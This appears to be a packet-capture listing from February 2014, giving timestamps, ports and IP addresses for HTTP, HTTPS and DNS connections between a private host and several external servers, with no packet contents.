Feb 27, 2014 17:54:30.615638018 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.615641117 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.616671085 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.737607956 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.796622038 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.893091917 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.893100023 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.893114090 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.893116951 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.893357038 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.893368006 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:30.893397093 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:30.893485069 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:31.293776989 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:31.293797016 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:31.293801069 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:31.293891907 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:31.341873884 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:31.341890097 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:31.341974974 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:31.341995955 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:31.342107058 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:31.474411964 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:31.474446058 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:31.754230022 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:31.940591097 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:31.940603971 MEZ	443	1039	65.55.58.195	192.168.0.18
Feb 27, 2014 17:54:32.092286110 MEZ	54844	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:32.159362078 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:54:32.370922089 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:32.370934963 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:32.416342974 MEZ	53	54844	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:32.428281069 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:32.428354979 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:32.428746939 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:32.432410002 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:32.432421923 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:32.551476002 MEZ	1041	80	192.168.0.18	173.201.146.1
Feb 27, 2014 17:54:32.594064951 MEZ	80	1049	207.46.206.30	192.168.0.18
Feb 27, 2014 17:54:32.594552040 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:32.982678890 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:33.078950882 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:33.078959942 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:33.079042912 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:33.079047918 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:33.079127073 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:33.079139948 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:33.079184055 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:33.079272032 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:33.126935959 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:33.186865091 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:33.187000990 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:33.187011957 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:33.223161936 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:33.223258018 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:33.223272085 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:33.225425005 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:33.225440025 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:33.560276031 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:33.690763950 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:33.915015936 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:33.950826883 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:33.950839996 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.243828058 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.292123079 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.292133093 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.292249918 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.292260885 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.292402983 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.293962955 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.293979883 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.293982029 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.294323921 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.294377089 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.438366890 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.438385010 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.438388109 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.438469887 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.438474894 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.438533068 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.438539982 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.438643932 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.486510038 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.486526966 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.486530066 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.486650944 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.648542881 MEZ	57147	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:34.674801111 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.727379084 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.727402925 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.727406979 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.727502108 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.727560043 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.727560043 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.727576017 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.727581024 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.727766991 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.727797985 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.727802992 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.745933056 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:34.745945930 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:34.812391996 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.812479973 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.812489033 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.823972940 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.823990107 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.824063063 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.824070930 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.824186087 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:34.872354031 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.872374058 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.872378111 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:34.872471094 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:35.002875090 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:35.056786060 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.056804895 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.056808949 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.056900978 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:35.104769945 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.104803085 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.104860067 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.104914904 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:35.104928017 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.105036974 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:35.152882099 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.152894020 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.153001070 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:35.153012991 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.153136015 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:35.297535896 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.346287966 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.346307993 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.346365929 MEZ	53	57147	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:35.346431971 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:35.346453905 MEZ	443	1050	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:35.347369909 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:35.394273996 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:35.417809963 MEZ	1051	80	192.168.0.18	103.8.127.2
Feb 27, 2014 17:54:35.417841911 MEZ	80	1051	103.8.127.2	192.168.0.18
Feb 27, 2014 17:54:35.417931080 MEZ	1051	80	192.168.0.18	103.8.127.2
Feb 27, 2014 17:54:35.420903921 MEZ	1051	80	192.168.0.18	103.8.127.2
Feb 27, 2014 17:54:35.420922995 MEZ	80	1051	103.8.127.2	192.168.0.18
Feb 27, 2014 17:54:35.549705982 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:35.549726963 MEZ	80	1046	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:35.768630981 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:37.026660919 MEZ	63738	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:37.305077076 MEZ	53	63738	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:37.816776991 MEZ	1052	80	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:37.816803932 MEZ	80	1052	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:37.816896915 MEZ	1052	80	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:37.825150013 MEZ	1052	80	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:37.825162888 MEZ	80	1052	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:38.485987902 MEZ	80	1052	204.79.197.200	192.168.0.18
Feb 27, 2014 17:54:38.612739086 MEZ	1052	80	192.168.0.18	204.79.197.200
Feb 27, 2014 17:54:39.725644112 MEZ	1046	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:39.726457119 MEZ	1043	80	192.168.0.18	208.106.171.74
Feb 27, 2014 17:54:39.727004051 MEZ	1048	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:41.452461004 MEZ	61345	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:41.452557087 MEZ	53	61345	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:43.574708939 MEZ	56736	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:43.574779034 MEZ	53	56736	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:43.581702948 MEZ	1054	80	192.168.0.18	173.254.28.46
Feb 27, 2014 17:54:43.581721067 MEZ	80	1054	173.254.28.46	192.168.0.18
Feb 27, 2014 17:54:43.581816912 MEZ	1054	80	192.168.0.18	173.254.28.46
Feb 27, 2014 17:54:43.589080095 MEZ	1054	80	192.168.0.18	173.254.28.46
Feb 27, 2014 17:54:43.589091063 MEZ	80	1054	173.254.28.46	192.168.0.18
Feb 27, 2014 17:54:43.772958040 MEZ	1054	80	192.168.0.18	173.254.28.46
Feb 27, 2014 17:54:43.780559063 MEZ	65425	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:54:43.780616045 MEZ	53	65425	195.186.1.121	192.168.0.18
Feb 27, 2014 17:54:43.787461996 MEZ	1055	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:43.787477970 MEZ	80	1055	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:43.787565947 MEZ	1055	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:43.789729118 MEZ	1055	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:43.789740086 MEZ	80	1055	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:44.640028000 MEZ	80	1055	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:44.737849951 MEZ	1055	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:44.737867117 MEZ	80	1055	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:45.201857090 MEZ	80	1055	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:45.394118071 MEZ	1055	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:45.394169092 MEZ	80	1055	23.239.12.68	192.168.0.18
Feb 27, 2014 17:54:45.612577915 MEZ	1055	80	192.168.0.18	23.239.12.68
Feb 27, 2014 17:54:49.081176996 MEZ	1049	80	192.168.0.18	207.46.206.30
Feb 27, 2014 17:54:56.459692001 MEZ	80	1047	64.18.20.10	192.168.0.18
Feb 27, 2014 17:54:56.459814072 MEZ	1047	80	192.168.0.18	64.18.20.10
Feb 27, 2014 17:55:05.940757036 MEZ	1051	80	192.168.0.18	103.8.127.2
Feb 27, 2014 17:55:05.940838099 MEZ	80	1051	103.8.127.2	192.168.0.18
Feb 27, 2014 17:55:05.940943956 MEZ	1051	80	192.168.0.18	103.8.127.2
Feb 27, 2014 17:55:05.943521023 MEZ	1056	80	192.168.0.18	103.8.127.2
Feb 27, 2014 17:55:05.943537951 MEZ	80	1056	103.8.127.2	192.168.0.18
Feb 27, 2014 17:55:05.943619013 MEZ	1056	80	192.168.0.18	103.8.127.2
Feb 27, 2014 17:55:05.946644068 MEZ	1056	80	192.168.0.18	103.8.127.2
Feb 27, 2014 17:55:05.946676016 MEZ	80	1056	103.8.127.2	192.168.0.18
Feb 27, 2014 17:55:19.081214905 MEZ	1047	80	192.168.0.18	64.18.20.10
Feb 27, 2014 17:55:33.519104004 MEZ	1039	443	192.168.0.18	65.55.58.195
Feb 27, 2014 17:55:36.475807905 MEZ	1056	80	192.168.0.18	103.8.127.2
Feb 27, 2014 17:55:36.475908995 MEZ	80	1056	103.8.127.2	192.168.0.18
Feb 27, 2014 17:55:36.476022005 MEZ	1056	80	192.168.0.18	103.8.127.2
Feb 27, 2014 17:55:36.511678934 MEZ	56491	53	192.168.0.18	195.186.1.121
Feb 27, 2014 17:55:37.243191957 MEZ	53	56491	195.186.1.121	192.168.0.18
Feb 27, 2014 17:55:37.246148109 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:37.246169090 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:37.246258020 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:37.247545958 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:37.247556925 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:38.519224882 MEZ	1052	80	192.168.0.18	204.79.197.200
Feb 27, 2014 17:55:38.519963026 MEZ	1050	443	192.168.0.18	204.79.197.200
Feb 27, 2014 17:55:40.702784061 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.727035046 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.727041960 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.727114916 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:40.727125883 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.727237940 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:40.731935024 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.737993002 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.737998962 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.738527060 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:40.738538980 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.738673925 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:40.809299946 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.820266962 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.820285082 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.820379019 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:40.820398092 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.820619106 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:40.852406025 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.863497019 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.863954067 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:40.863972902 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.977988005 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.978080034 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:40.978091955 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.989123106 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.989130020 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.989207983 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:40.989216089 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:40.989504099 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.021959066 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.033051968 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.033070087 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.033123016 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.033170938 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.033179998 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.033261061 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.091382027 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.091399908 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.091527939 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.091536045 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.091658115 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.124356985 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.124363899 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.124376059 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.124550104 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.146075964 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.146092892 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.146203995 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.146213055 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.146320105 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.156968117 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.167992115 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.168008089 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.168133974 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.168143988 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.168412924 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.201322079 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.201329947 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.201333046 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.201415062 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.201492071 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.201497078 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.201613903 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.201622009 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.201766968 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.212214947 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.212232113 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.212234974 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.212320089 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.315211058 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.315228939 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.315231085 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.315327883 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.315346956 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.315355062 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.315359116 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.315377951 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.315604925 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.315622091 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.315814972 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.326705933 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.405735970 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.405831099 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.405841112 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.416697025 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.416704893 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.416840076 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.416848898 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.417067051 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.427601099 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.427618980 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.427623034 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.427778959 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.438534975 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.438551903 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.438699007 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.438707113 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.439021111 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.442626953 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.449381113 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.449398041 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.449479103 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.449487925 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.449604034 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.562858105 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.624002934 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.624010086 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.624138117 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.624147892 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.624515057 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.890763998 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.979537010 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.979656935 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.979669094 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.990502119 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.990509033 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.990618944 MEZ	1057	80	192.168.0.18	103.8.127.190
Feb 27, 2014 17:55:41.990639925 MEZ	80	1057	103.8.127.190	192.168.0.18
Feb 27, 2014 17:55:41.990680933 MEZ	80	1057	103.8.127.190	192.168.0.18
